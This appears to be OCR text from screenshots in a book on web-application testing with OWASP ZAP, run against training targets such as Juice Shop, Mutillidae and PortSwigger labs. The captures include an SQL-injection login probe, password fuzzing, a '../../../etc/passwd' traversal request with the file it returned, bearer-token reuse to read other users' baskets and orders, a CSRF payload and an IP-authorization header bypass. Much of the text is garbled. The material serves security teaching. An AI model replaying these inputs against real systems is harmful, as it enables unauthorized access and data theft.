Contexts: Default Context

http://sippycup-juicebox.herokuapp.com

Sites: https://aus5.mazilla.org
https.//firefox-settings-attachments.cdn.mozilla.net
https://cdnjs.cloudflare.com
http://sippycup-juicebox.herokuapp.com

Generate If No Alerts:

Display Report: V)

L Generate Report Reset Cancel



W Generate Report

X
Scope Template Filter Options
Template: [ Risk and Confidence HTML v
W

Theme: Criginal

Sections: | [/] Contents

|g|

Generate Report

Reset

Cancel

Template: | Risk and Confidence HTML

Theme: High Level Report Sample

Sections:

Risk and Confidence HTML
Traditional HTML Report

Traditional HTML Report with requests and responses
Traditional JSON Report

Traditional JSON Report with requests and responses

Traditional Markdown Report
Traditional PDF Report
Traditional XML Report

Modern HTML Report with themes and options

1




W) Generate Report X

Scope Template Filter Options

Include Risks
High: >
Medium: >
Low: V)
Informational: V]
Include Confidences
Confirmed: >
High: >
Medium: V)
Low: ™
False Positive: []
.2 Generate Report Reset Cancel
) Generate Report x|

Scope Template Filter Options

Report Name Pattern: | (1yyy-MM-dd}}-ZAP-Report-[[site]]

Template Directory: C\Users\swamp\OWASP ZAP\reports | |

W Save *
Save In: reports v B A& WS
high-level-report traditional-xml
modern

risk-confidence-html
traditional-html
traditional-html-plus
traditional-json
traditional-json-plus
traditional-md
traditional-pdf

(>

ce File Inclusi

Folder name: | [@8\ wamp\OWASP ZAP\reports|

Files of Type: = All Files v
'X-Powered-By'|

(s8) Cancel




Chapter 4: Authentication and Authorization Testing

OWASP ZAP - OWASP ZAP 2.111
apEo= 4 a e »

Request Response

POST http://10.88.88.13:3000/rest/user/login HTTE/1.1

Host: 10.88.88.13:3000

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.15; rv:101.0)
Gecko/20100101 Firefox/101.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;g=0.5

Content=-Type: application/json

Content-Length: 28

Origin: https://10.88.88.13:3000

Connection: keep-alive

P P A N S ] - 5

{"email":"'", "password®:"'"}

Request Response

HTTE/1.1 500 Internal Server Error
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-0Options: SAMEORIGIN
Feature-Policy: payment 'self’

Content=-Type: application/json; charset=utf-8

N

"name": "SequelizeDatabaseError",
"parent™: {

1
"code": RROR",

*3590cbBafObbb9e78c343b52b93773¢c9" AND deletedAt IS NULL"™
e

"errno":




6
E Account W Your Basket

€ admin@juice-sh.op
Orders & Payment »
Privacy & Security »

Logout

g %" Quick Start = Request < Response -+

Header: Text ~  Body: Text v | [E &

IPDST http://192.168.1.6:3000/rest/user/login HTTP/1.1I

User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 0S5 X 10.15; rv:99.8) Gecko/20100101 Firefox
/99.0

Accept: application/json, text/plain, */%
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Content-Length: 60

Origin: https://192.168.1.6:3000

Referer: https://192.168.1.6:3000/
: ——core 2

atus=dismiss

d

Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{ :"ZAP_Book_CH4@zapbook.com", :"Passworde!"}



S £ ( Avtack)
ac
e 0E 33 ‘
o il18n
» & public

© ™ GET:font-mfizz.woff

@ v GET:main.js

@] ™ GET:Materiallcons-Regular.
@ ™ GET:polyfills.js

» &/ ™ admin

- & v products

- POS'I:Iogm()({"emall'

Fuzz Locations

Header: Text ~

= M rest

=

W @I’” rest
> [g] M admin

|&| P GET:languages

> @] M products

@ fu GET:saveloginlp

v = M user

dmir

/@ P GET-whoami

Ll /v basket
@ v GET:languages

= IV user

Options

Body: Text v | ]

Message Processors

nclude in Context
Include Site in Context
Run application

Flag as Context
Exclude from Context
Open/Resend with Request Editor...
Open URL in Browser
Exclude from

Show in History Tab

Open URL in System Browser
Copy URLs to Clipboard
Delete

Manage History Tags...
Export All URLs to File...

Fuzzer

POST http://localhost:3000/rest/user/login HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:100

localhost:3000

.0) Gecko/20100101 Firefox/100.0

Accept: application/json, text/plain, */x*

Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Content-Length: 52

Origin: https://localhost:3000
Connection: keep-alive

Referer: https://localhost:3000/

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent

o

{"emai

PR Y (T P

L":"nonel@zapproxy.com", " password’

Edit

mail.com”,

e 4

# Spider...

» A Active Scan...

» o Forced Browse Site

» 4 Forced Browse Directory

» 4 Forced Browse Directory (and Children)
» ¥ AJAX Spider...

Content-Length: 836
ETag: W/"344-RQ6YFuWitgiUVEkq
Vary: Accept-Encoding

. Date: Sat, 16 Apr 2022 22:18:

Connection: keep-alive
Keep-Alive: timeout=5

{"auth n":{" token":
"eyl0eXAi0iJKV1QiLCIhbGci0ils
YW1lIjoiIiwiZWlhaWwiOiJub251M
dkZWI40DJ)jZjk5Iiwicm9sZSI6ImN

Fuzz Locations:

. &~ Va...
I Bo... pa...

Remove Without Confirmation

#0.. #of..B Add...
25 0 Remove
Payloads...
Processors...
Start Fuzzer Reset Cancel



=

S —

' Location: Body [42, 50]
: Value: password
Payloads:
| # - Type Description # of Processors ® —@
Modify...
Remove
Processors...
Top
Up
Down
Bottom

Payloads

Remove Without Confirmation

Cancel OK



e Add Payload

File: Select...
Character Encoding: UTF-8
Limit: | |
WValue: 1000

Comment Token: #

Ignore Empty Lines:

0O

Ignore First Line:

Payloads Preview:

&l Save...

- Cancel Add




Add Payload

Type: File v

File: (Select...)

Character Encoding: UTF-8 v
00 Open

Look In: ™0 wordlist

4

E A& kb i

il asp_files_only.txt
i common.txt
i S fuzz.txt

2l e bk

[ 3 top-passwords shortist.xt

File Name: top-passwords-shortlist.txt

Files of Type:  Any File A

I@l Cancel

= History ©Search [YWAlerts  Output & WebSockets G Fuzzer # |

4 New Fuzzer Progress: 0: HTTP - http://localho..rest/user/login ~ </ Current fuzzers: 0 &

Messages Sent: 25 Errors: O i Show Errors ¢ Export

Task ID Message Type Code Reason RTT Size Resp. Header Size Resp. Body Highest Alert State Payloads ®
0 Original eI s 234 ms 363 bytes 836 bytes v Medium

1 Fuzzed 200 OK 2s 363 bytes

2 Fuzzed 407 Unauthorized 360 ms 364 bytes 26 bytes 456
3 Fuzzed 401 Unauthorized 1.2s 364 bytes 26 bytes 12345678
4 Fuzzed 401 Unauthorized 743 ms 364 bytes 26 bytes abcl23
5 Fuzzed 401 Unauthorized 1.04s 364 bytes 26 bytes querty
6 Fuzzed 401 Unauthorized 919 ms 364 bytes 26 bytes monkey
Alerts Wm0 w4 (U4 M4 Primary Proxy: localhost:8080 Current Scans 460 0 ®0 20 @0 %0 /0 0,
v & Sites
v = P https://0a64006903e2283ec0b13c7d00a40064.web-security-academy.net
@ F GET:/
@ &¥ GET:academyLabHeader
|@ GET-favicon.ico

Bl ™ GET:image(filename)

E 4 GET:product{productld)
\@| # GET:resources N



W Manual Request Editor - O x

Request

Method  ~ || Text | [2 ] @eddEED e Send

GET https:ff@a64996993e2283ec8b13c?d99a4@964.web—security—academy.netfimage?Filenameﬂ..f..f..fetcfpasswd HTTP/1.1
Host: 2a64086903e2283ec@bl3c7d00a40064 . web-security-academy .net

User-Agent: Mozilla/5.8 (Windows NT 18.8; Win6d; x64; rv:101.8) Gecko/28108181 Firefox/161.8

Accept: image/avif,image /webp ,*/*

Accept-Language: en-US,en;g=08.5

Connection: keep-alive

Referer: https://Babd0B6983e2283ecBbl3c7d0RadBe6d. web-security-academy.net/product?productId=1

Cookie: session=HbBgsKrnQylaKLtFN5zTveDnNBCATgV3

Sec-Fetch-Dest: image

Sec-Fetch-Mode: no-cors

Response

Text v | [E =
HTTP/1.1 288 0K
Content-Type: image/jpeg
Connection: close
Content-Length: 1256

root:x:8:8: root: /root :/bin/bash
daemon:x:1:1:daemon: fusr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin: /fusr/sbin/nologin
sys:x:3:3:sys:/dev: fusr/sbin/nologin
sync:x:4:65534:sync: /bin: /bin/sync

games :x:5:608:games: fusr/games: fusr/sbin/nologin
man:x:6:12:man: fvar/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail: fvar/mail:/usr/sbin/nologin
news:x:9:9:news : fvar/spool/news: fusr/sbin/nologin
uucp:x:18:18 ruucp : fvar/spool /uucp :fusr/sbin /nologin

mmmanrew s 1212 s mmmvnses fdne faem fichdn fnaloed s

Time: 728 ms Body Length: 1256 bytes Total Length: 1342 bytes



User #3

Email
bender@juice-sh.op

Created at Updated at
2022-06-197T21:37:47.209Z 2022-06-19T21:37:47.209Z

X Close

OWASP ZAP - OWASP ZAP 2.111

R EHEE & &8 [::]

GET http://localhost:3888/rest/basket/6 HTTP/1.1 I

Ost: localhos

User-Agent: Mozilla/s5.® (Windows NT 18.8; Wing4; x64; rv:187.8) Gecko/28180101 Firefox/187.8
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=@8.5
Authorization: Bearer eyl@eXAi0iJKV1QiLCIhbGeiOilsUzIINLiIG.
| eylzdGF@dXMi0ilzdwWNIZXNzIiwiZGFeYsIeeypZCIGMIESINVZZXIuYWIlIjoliliwiZWlhakwwi0illbWFpbEElbWFpbCS5ib201
! LCIWYXNzd29yZCIBIJVmNGRIY zNINWFhNz Y 1ZDYXZDgzMjdkZWIA0DIJZik5IiwicmIsZSI6ImNLIc3RvbWVYIiwiZGVsdXh1lVaor
IZWAi0iTiLCIsYXNBTGINaWsJcCIAINVUZGYmaWs1ZCIsInByb2ZpbaVIbWFNZSI6Ii9he 3N1dHMycHVIbG1JL21tYWd1l cyIlcGuy
YWRZLZR1ZmF1bHQUE3ZnTiwidGIBcFN1Y311dCIRIiIsImlzQWNBaXZ1lIjpRcnV1LCIJomVhdGVkeQXQi0i IyvMDIzLTAYLTALIIDIw
O0FMA0FExLIYZNSArMDAGMDALLCI1cGRhIGYOXQi01 IyMDIZL TAYLTALIDIWOFURO Q1L g3NIArMDABMDAL LCI kZHx1dGVIcQXOL
Om51bGx9LCIpYXQi0FE2NzU2ZMz ABNDE s ImV4cCIGMTYNTYRODQBMEE . dB2E1§85 IWFwWIwv1taX0pyL1iIhPe_uywzj65_
ByrxhMYSqMEjxdx76nhbwlU38aQVteSPsXQnzSZwggHI - 7GFVF4_

TEE

GET http:!!lncalhost:3BEF!restfbasket!3|*TTP!l.l
Host: localhost:3aee
User-Agent: Mozilla/5.@ (Windows NT 18.8; Wingd; x6d; rv:187.8) Gecko/28188181 Firefox/187.8

Accept: application/json, text/plain, */%

Accept-Language: en-US,en;q=2.5

Authorization: Bearer eyl@eXAiQilKVIQIiLCIhbGciQilSUzIL1NilS9.

eylzdGFedXMi0iJzdWNZXNz IiwiZGFeYSIGeylpZCIGMIESINVZZXIuYW11IjoiIiwiZWlhakwi0illbWFpbEE1bWFpbCSib281
LCIwYXNzd29yZCIAT JVmNGRIYZNINWFhNzY1ZDYxZDgzMjdkZWI40D]FZjkSTiwicmIsZSIAImNI c 3RvbWWy IiwiZGVsdXh1VGar
IWAI0iTiLCIsYXNATGINaWs5IcCIfInVuZGVmaW51ZCIsInByb2 ZpbGVIbWFNZSIAI1%he 3N1dHMycHVIbGLjL21tYWd1lcy 91l cGuy
¥YWRzLZR1ZMF1bHQuUc3ZnIiwidG9@cFNLY311dCIRIiIsImlzQWNeaXZ1lIipecnVILCIFemVhdGVEQXQI0iIyMDIzZLTAYLTALIDIW
07MA0FExLIY2NSArMDAGMDAL LCI1cGRhdGYROXQi01 IvMDIzLTAYLTAL IDIWOFUXOF Q1L g3NLArMDAGMDAL LC I KZWX 1 dGVRQXOL
Om51bGx9LCIpYXQi0fE2NzU2Mz ABNDE s ImV4c CTEMTYSNTYRODOBMAE . dB2B1 i85 1WFwIwv1t4X0pyL1iJhPe_uywzi65_
ByrthYSqMEjxdx?EnhbwUBBGQVtESPsXanSnggH] TaFVF4_




Your Basket (Zap@owasp.o

Raspberry Juice (1000ml)

04

=) https://

Total Price: 4.99a

B Checkout

You will gain 0 Bonus Points from this order!

Total Price: 0o

will gain 0 Bonus Points from this ordei

Method Text

~

B e@elcdEED e

v @ Sites

> https:/ftracking-protection c:

Sl

GET https:// Bc@A51f1f .veb-security-academy.net/download-transcrip _IF.bct ITTP/1.1
Host: 0299089083 68c0A51F1F .web-security-academy.net
User-Agent: Mozilla/5.@ (Windows NT 1@.0; Winé4; x64; rv:181.8) Gecko/20100101 Firefox/181.8

» gl FY hitps://shavar services moZ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/uebp,*/*;q=0.8
> gl M hitps//aus5.mozilla.org Accept-Language: en-US,en;q=6.5
o Connection: keep-alive
> g/ FY hitps:/fiirefox-settings-atach Referer: https://@a990089e03 68cB451F1f .web-security-academy.net/chat
v ﬁl"“ hitps //0a99009e030ae668¢ Cookie: session=SeUvQXJ1QDloFsrvZshzfjhhruOJhdees
. Upgrade-Insecure-Requests: 1
&l ‘g GET:academylabHead gac_fetch-Dest: document
@‘- P ﬂ GET:-chat Sec-Fetch-Mode: navigate
L Sec-Fetch-5ite: same-origin
v |= ¢ download-transcript Sar_Eatrh_lleam -
g GET.0.d Response
|& m GET:1.xt Ty
Tet v || [EH [
| Connection: close
E History @k Search E.I Aerts Content-Length: 528

@e /&
v [ Alerts (9)

> [ Absence of Anti-CSRF Tokens
I Content Security Policy (CSP) H
[ Missing Anti-clickjacking Header
o Cookie with SameSite Attribute N
U Timestamp Disclosure - Unix (27]
o X-Content-Type-Options Header
0 Charset Mismatch

CONNECTED: -- Now chatting with Hal Pline --

| You: Hi Hal, I think I've forgotten my password and need confirmation that I've got the right one

Hal Pline: Sure, no problem, you seem like a nice guy. Just tell me your password and I'll confirm whether it's correct
or not.

You: Wow you're so nice, thanks. I've heard from other people that you can be a right ****

Hal Pline: Takes one to

You: Ok so my password iIs that right?

Hal Pline: Yes it is!

You: Ok thanks, bye!

Hal Pline: Do one!

VWYV VY Y

% Information Disclosure - Suspiciq

Time: 746 ms Body Length: 520 bytes Total Length: 671 bytes
™



Chapter 5: Testing of Session Management

mutillidae-docker-nes % 1s
README . md database_admin ldap scripts
database docker-compose.yml ldap_admin version
mutillidae-docker-nes % [|

mutillidae-docker-nes % docker-compose up -d
Creating volume "mutillidae-docker-nes_ldap_data" with default driver
Creating volume "mutillidae-docker—-nes_ldap_config" with default driver
Creating directory ... done
Creating database ... done

Creating directory_admin ... done

Creating database_admin ... done

Creatina www ... done
mutillidae-docker-nes % ||

® ® ® @ Database Offline

q [ @ [  © localhost/d ne.php | @ A ® » 0O 7<

| The database server at database appears to be offline.

)

1. Click here to attempt to setup the database. Sometimes this works.
2. Be sure the username and password to MySQL is the same as configured in
includes/database-config.inc

3. Be aware that MySQL disables password authentication for root user upon installation or
update in some systems. This may happen even for a minor update. Please check the
username and password to MySQL is the same as configured in includes/database-
config.inc

. Avideo is available to help reset MySQL root password

. Check the error message below for more hints

. If you think this message is a false-positive, you can opt-out of these warnings below

oo h

Database Diagnostics Information

Database Error message:

Database host: database
Database post: 3306
Database username: root
Database password: mutillidae
Database name: mutillidae

IP resolved from database hostname: 172.23.0.2

Ping database results:

Traceroute database results:

sh: 1: traceroute: not found

Port scan database results: The database is reachable. Connected to database host database
on port 3306



localhost/set-up-database.php X +

(] © localhost

localhost says

No PHP or MySQL errors were detected when resetting the
database.

Click OK to proceed to http://localhost/index.php?
page=home.php&popUpNotificationCode=SUD1 or Cancel to stay
on this page.

| Cancel

localhost/index.php?page=hon. X <+

localhost/index.php? [ e » O & 7“Update =
page=home.php&popUpNotificat
localhost

o OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.82  Security Level: 0 (Hosed) Hints: Enabled Not Logged In
Home | Login/Register | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

OWASP 2017  »
Hints and Videos

OWASP 2013 »
TIP: Click Hint and Videos
OWASP 2010 » on each page

OWASP 2007  »
? What Should | Do? Q Help Me!

Listing of vulnerabilities u Video Tutorials
Documentation »

Resources

Donate ’ Release Announcements w Latest Version

Want to Help?

2N LAB

Exploiting cross-site scripting to steal cookies >




Lab: Exploiting cross-site scripting to steal
cookies
YORsMs

PRACTITIONER

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all
comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's session cookie, then

use this cookie to impersonate the victim.

[E] Note

To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the
labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator’s default public server.

Some users will notice that there is an alternative solution to this lab that does not require Burp Collaborator.
However, it is far less subtle than exfiltrating the cookie.

Access the lab

@ ® New Context

Context Name  portSwigger Lab

Top Node: \-security-academy.net @ Select...
Description
In Scope v

Save Cancel



@ ]
Protected Mode

@ Sites ==
TEI=

-

4 Contexts
© Default Context

2] PortSWIggel'i A Active Scan...

v @ Sites % Spider...

> B https://Q Remove From Scope
Delete

| Export Context...
Export URLs for Context(s)

v I

" d

0b3

3

™ History © Search [WAlerts # 4 WebSockets  # Spider ) ActiveScan [ |Params =

e / ¢

v B Alerts © e

Risk:

> ™ Cookie No HttpOnIy Flag (2)

Parameter:
| Attack:

" Evidence:
CWE ID:
WASC ID:
Source:

> v Cookie with SameSlte Attribute None (2)

> U Timestamp Disclosure - Unix (50)
> i X-Content-Type-Options Header Missing (33)

Confidence:

Cookie No HttpOnly Flag

https://0a0b00fd04d71a99¢c02b1c5d00cb00
U Low

Medium

session

Set-Cookie: session

1004

13

Passive (10010 - Cookie No HttpOnly Flag)



@ OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.82  Security Level: 0 (Hosed)  Hints: Enabled  Logged In User: user1 [#
Home | Logout | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

( Welcome To The Blog

@ Back e Help Me!

\ Hints and Videos
Add New Blog Entry

. ViewBI
~, View Blogs
( Add blog for user1 )
[ Note: <b>,<i> and <u> are now allowed in blog entries }
kcanary_blog_entry
A
N\ View Blogs
2 Current Blog Entries
Name Date Commer
1 useri 2022-07-10 22:29:56 canary_blog_entry
2 userl 2022-07-10 22:24:22 hello




[ XN
Standard Mode ~ | || L bl B 7 o Le
@ Sites

@ QE3
=1 Contexts
[Z] Default Context
[5] http:f/127.0.0.1
@& Sites
__ 4 http:/ /detectportal.firefox.com
& [ https://location.services.mozilla.com
& ™ https://versioncheck-bg.addons.mozilla,
g U https:/[services.addons.mozilla.org
& https:/ /www.paypalobjects.com
& U https:/ ftracking-protection.cdn.mozilla.i
__ 4 ads-track-digest256
__ ¥ mozstd-trackwhite-digest256
& U https://shavar.services.mozilla.com
. http://127.0.0.1
__ images
|| ¥ GET:index.phpipage)

B ™ POST:index.php(page)(add-to-your=bl

| M POST:index.php(page)(author,view=-sor

= History < Search [ Alerts | Output

@ Channel: -- All Channels --

OWASP ZAP -

Artack » |
Include in Context »
Include Site in Context »
Run application »
Flag as Context »
Exclude from Context b

./ Open/Resend with Request Editor...

Open URL in Browser »

Exclude from »

Show in History Tab

Open URL in System Browser

Copy URLs to Clipboard

Delete v

Manage History Tags...

Export All URLs to File...

Export Selected URLs to File...

Break...

MNew Alert...

Alerts for This Node »
( Generate Anti-CSRF Test FORM )

Invoke with Script

Add to Zest Script b

Compare 2 Reguests .

Crammnara ? Racnnncac

http://127.0.0.1/index.php?page=add-to-your-blog.php

add-to-your-blog-php-submit-button
blog_entry
csrf-token

Save Blog Entry

canary_blog_entry




o

Version: 2.8.82

OWASP 2010

OWASP 2007

Web Services »

Others »

_».Donate Today!
Want to Help?

Video Tutorials

L

Announcements

Getting Started

Version: 2.

@4 OWASP Mutill

https:/[127.0.0.1/index.php?pac X  +

A Not Secure | httpt  https://127.0.0.1/index.php?
page=add-to-your-...

127.0.0.1

Hints: Enabled

Security Level: 0 (Hosed)

Home | Logout | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

and Pwn On

localhost:B080/OTHERacsri/ol X+

c n

» >

© localhost:8080/0THE Update

http://127.0.0.1/index.php?page=add-to-your-blog.php

( Welcome To The Blog

e Help Me!

Hints and Videos

& o

Logged In User: csrfVictim [# add-to-
your-blog-
php- Save Blog Entry
] submit:
button
blog_entry  Attacker-csrf-payload-ZAP-Cookbook
csri-token [csrf-disabled
Submit

—Add New Blog Entry
\ View Blogs
[ Add blog for csrfVictim ]
[ Note: <b>,<i> and <u> are now allowed in blog entries ]
:\ View Blogs
[ 0 Current Blog Entries |
| [ Name [ Date C |
8.82  Security Level: 0 (Hosed) Hints: Enabled Logged In User: csrfVictim [#

Welcome To The Blog

Back

Q Help Me!

[

Hints and Videos

Th

—Add New Blog Entry

“A View Blogs

Add blog for csrfVictim ]

[ Note: <b>,<i> and <u> are now allowed in blog entries ]

[ Save Blog Entry ]

. ViewBI
, View Blogs

1 Current Blog Entries

Name

Date

Comment

1 |csriVictim

2022-07-10 23:28:05

Attacker-csrf-payload-ZAP-Cookbook




HTTP Message

Feature-Policy: payment 'self’

Content-Type: application/json; charset=utf-8
Content-Length: 834

ETag: W/"342-0W4aGfalNaS5Q+umlogMUFrjWs9U"
Vary: Accept-Encoding

Date: Sun, 10 Jul 2022 22:53:26 GMT
Connection: keep-alive

Keep-Alive: timeout=5

{"token":"

Drop




6
Q e Account ! Your Basket

€@ admin@juice-sh.op
Order History Orders & Payment » X
Recycle Privacy & Security »
My saved addresses Logout
My Payment Options

Digital Wallet

™ History Search [WAlerts & WebSockets =

@ @ | Filter: OFF ¢ Export

Id Source Req. Timestamp  Method URL Code Reason RTT Size Res... Highest... Note  Tags
178 = Pr... /7/10/22,D158:39FM LEI NEtp:// 19£.168.2.3:3000/sockeL.10/ eIV =4&transport=polling&t=... £00 UK Yo bytes | Low
181 #+ Pr... 7/10/22, 6:58:39 PM GET http://192.168.2.3:3000/socket.io/7EIO=4&transport=polling&t=... 200 OK . 96 bytes ¥ Low
185 =+ Pr... 7110/22 6: 58 39 PM GET htlp H192 168 2.3: 3000,lsockel m/’EIO 4&transport—po|llng&l- . 96 bytes ¥ Low

89 = p a : . 96 bytes ¥ Low
594 bytes ™ Medi... JSON

-

- 7/10/22 7:00: EPM

wwnnnBIN s W

g tps: : 151,91... % Low JSON
193 &= Pr... 7[10,'22 7 03 00 PM CET http://192.168.2. 3 30001rest,’saveLogmlp 200 OK 344 bytes I Medi... JSON
194 &= Pr... 7/10/22, 7:03:00 PM GET http://192.168.2.3:3000/rest/products /search?q= 304 Not M... 2... 0 bytes " Medi...
195 = Pr... 7/10/22, 7:03:00 PM CET http://192.168.2.3:3000/api/Quantitys/ 304 Not M... 3... Obytes M Medi...
196 = Pr... 7/10/22.7:03:09 PM_GET htto://192.168.2.3:3000/ 200 OK 1.987 b... [* Medi... Scriot. ..

Alerts w0 4 (»5 M1 Primary Proxy: localhost:8080 Current Scans 4 0 .00 @0 D0 @0 0 0 >X<C



Attack
Include in Context

Include Site in Context

Run application
Flag as Context

Exclude from Context

. Open/Resend with Request Editor...

LT LT N L W T

Open URL in Browser
Exclude from
Show in Sites Tab

Open URL in System Browser
Copy URLs to Clipboard

XK ) Manual Request Editor
Request  Response

Method V' Header: Text ~  Body: Text v | | =] @

GET http://192.168.2.3:3000/rest/order-history HTTP/1.1
Host: 192.168.2.3:3000

Send

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: application/json, text/plain, */%
Accept-Language: en-US,en;g=0.5

Authorization: Bearer eyJ@eXAi0iJKV1QiLCJhbGci0iJSUzI1INiJ9.

eyJzdGFOdXMi0iJzdWNjZXNzIiwiZGFRYSI6eylpZCI6MSwidXN1cm5hbWUi0iIilCI1bWFpbCI6ImFkbWluQGplawN1LXNoL
mOwIiwicGFzc3dvemQiOiIwMTkyMDIzYTdiYmQ3MzI1IMDUXNmYwN]j 1kZjE4YjUWMCISInIvbGUi0iJhZG1lpbiIsImR1bHV4ZV
Rva2VuIjoiliwibGFzdExvZ21uSXAi0iJ1bmR1ZmluZWQiLCIwcm9maWx1SW1hZ2Ui0iJhc3N1dHMvcHVibG1ljL21tYWd1lcy9
1cGxvYWRzL2R1ZmF1bHRBZG1pbiSwbmcil CI@b3RwWU2VjcmVOIjoiliwiaXNBY3RpdmUiOnRydWUsImNyZWFOZWRBACI6IjIw
MjItMDctMTAgMjI6MzE6MzKuMTA4ICsSwMDowMCISINVWZGFOZWRBACI6GI j IwMj ItMDCctMTAgMj I6Mzc6NDMUMTk2ICswMDowM
CIsImR1bGVOZWRBACI6bnVsbHOSImLhdCIGMTY1INZQ5MzYwNywiZXhwIjoxNjUNTExXNjA3fQ.
TL15HCgGPY5FW91554 j JBFOy4HGKViaFIkZ4Ab6uHE-iyPXfRQAGOW79MYyRRYETMx~cfQ9UON-MIMQ5H4WPgwubpn_
tSJIP2qgZWunvwgNgbGBvL-80q070rSANj jEm_JLBdYo@617D5To3_GQmnux3iMrerégufZaE_JcOtu-c




@ el Manual Request Editor
Request  Response

| Header: Text v || Body: Text v |  [=] [0 Send
TTP/1.1 200 OK

Access-Control-Allow-0rigin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
Content-Type: application/json; charset=utf-8
Content-Length: 594

ETag: W/"252-utWrHelNmI@DccmuSt1I1S12WSg"
Vary: Accept-Encoding

Date: Sun, 10 Jul 2022 23:11:24 GMT
Connection: keep-alive

Keep-Alive: timeout=5

{ :"success", 3 £ e 1"5267-f5bb5c¢f7428d1778", :"xdmen@j*kck-sh.*xp",

& 18.96,"t 10, kgt e[ 13, ne' AT e 1. 99,
1:5.97, 10}, {" fye] M :"Orange Juice (1@0@6ml)", :2.99, 11":2.99,
':0}],"eta":"1", ':false, :"N82vLuWqEDWgqgJl2f"}, { s

"5267-e01a09b87e853d54", t"xdm%n@j**ck-sh.xp", £126.97; He s [{

‘ tity":3, :"Eggfruit Juice (50eml)", :8.99,"tot :26.97, :3}], g

ttrue, :"gimpB7egNPPFC8xbG"}]}

[<] Manual Explore %

This screen allows you to launch the browser of your choice so that you can explore your application while proxying through ZAP.

The ZAP Heads Up Display (HUD) brings all of the essential ZAP functionality into your browser.

URL to explore: https://sippycup-juicebox.herokuapp.com/#/ v @ Select...
Enable HUD: v

Explore your application:|  Launch Browser Firefox




e @ I @ ¥ E E e @ € ]
¢ s J[@]

, 4 QuickStat = Request <= Response J4 Break ==

Method v Header: Text v Body: Text v E @ B

ET https://sippycup-juicebox.herokuapp.com/ HTTP/1.1
Host: sippycup-juicebox.herokuapp.com
User-Agent: Mozilla/5.@ (Windows NT 10.8; Win64; x64; rv:1082.0) Gecko/2e1ee

; 47 Quick Stat  =v Request 4= Response  J& Break =

Method v | Header: Text v | | Body: Text ~ | | =l @ |2

Rt di b = bl e L S D A B

Connection: keep-alive

Cookie: io=pdSHgI9iksecvaswWAABN; language=en; welcomebanner_status=dismiss; token=
eyJhbGcinilSUzIINiISInRScCI6IkpXVCI9.
eyJzdGFedXMi0iJzdWNJZXNZIiwiZGFeYSI6eyIpZCIGMTYSINVZZXIUuYW1lIjoiTiwiZWlhaWwwioiJ1c2vyMUBlbWFpbCSjb2eilc
JwYXNzd29yZCI6ImIkYZzg3Yj1jODkOZGEIMTYAMDUSZ TAWZWIMZmISMDC3Iiwicm9sZSI6ImNLIc3RVbWVYTIiwibGFzdEXvZ21uSXAL
OiTwL jAUMCAWTiwicHIvZmlsZUltYWdlTjoiZGvmyXvsdC5zdmcil CI@b3RwU2VjcmveIjoiTiwiaXNBY3RpdmUiOnRydWUs ImNyZW
- FOZWRBACI6TJIwMjITEtMDCtMTAgMIMENDI6MDKUODQATICSWMDOWMCT S INVWZGFOZWRBACT6T jIwMjITtMDCtMTAEMIMENDI6MDKUODQA
° ICSwMDOWMCISIMR1bGV@ZWRBACIGEbNVSsbHOSIm1hdCIBMTY1NZQSNZC2NSWiZXhwIjoxNjU3SNTELINZY1fQ.1b6xHxedf13aD81TS_
EKmMEXNzX7FSRy25NJogD2c5Hn18vxu-0CsSPLwthes5vaIQl7yse- EAOBbE2SuxiuaXzZyUoFfY2Nivyuet
QtAesuIyYEj1eeMkaZme0xrankXBiniprYByVBSDXMleuUyﬁjfUcPwquhJijISVq

Upgrade-Insecure-Requests: 1




Chapter 6:  Validating (Data) Inputs - Part 1

ppycup-juicebox.herokuapp.co

4 OWASP Juice Shop

Search Results - =

@ sippycup-juicebox.herokuapp.com

1

Request Response

TRACE fhttps://0ae800cal3fceladcl7cdbbd00d200c8 . web-security—academy. net
/admin HTTE/1.1
Host: 0aeB00cal3fceladcl7cdbbd00d200c8 . web—security-academy.net



HTTP Message X

HTTP/1.1 200 OK A
Content-Type: message/http v
Connection: close %

~

TRACE /admin HTTP/1.1

Host: 0ae800cal3fceladcl7cdbbd00d200cE . .web-security—academy.net
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0)
Gecko/20100101 Firefox/102.0

Bocept: text/html, application/xhtml+xml, application/xml;qg=0.9,image
/avif, image/webp, */*;q=0.8

Accept-Language: en-US,en;g=0.5

Connection: keep-alive

Cookie: session=8GzmOktid2pD0dCoVYcZ3C17D8XghURa
Upgrade—-Insecure—-Regquests: 1

Sec—-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec—-Fetch-User: 7?71

Content—Length: 0

¥X-Custom—-IP-Authorization: & Ti.R 230 I v




© & Modify Replacement Rule

Rule Initiators

Description: ' Match/Replace String
Match Type: Response Body String v
Match String: X-Custom-|P-Authorization: %* 74 & 230

Match Regex:

Replacement 5tring:  X-Custom-IP-Authorization: 127.0.0.1

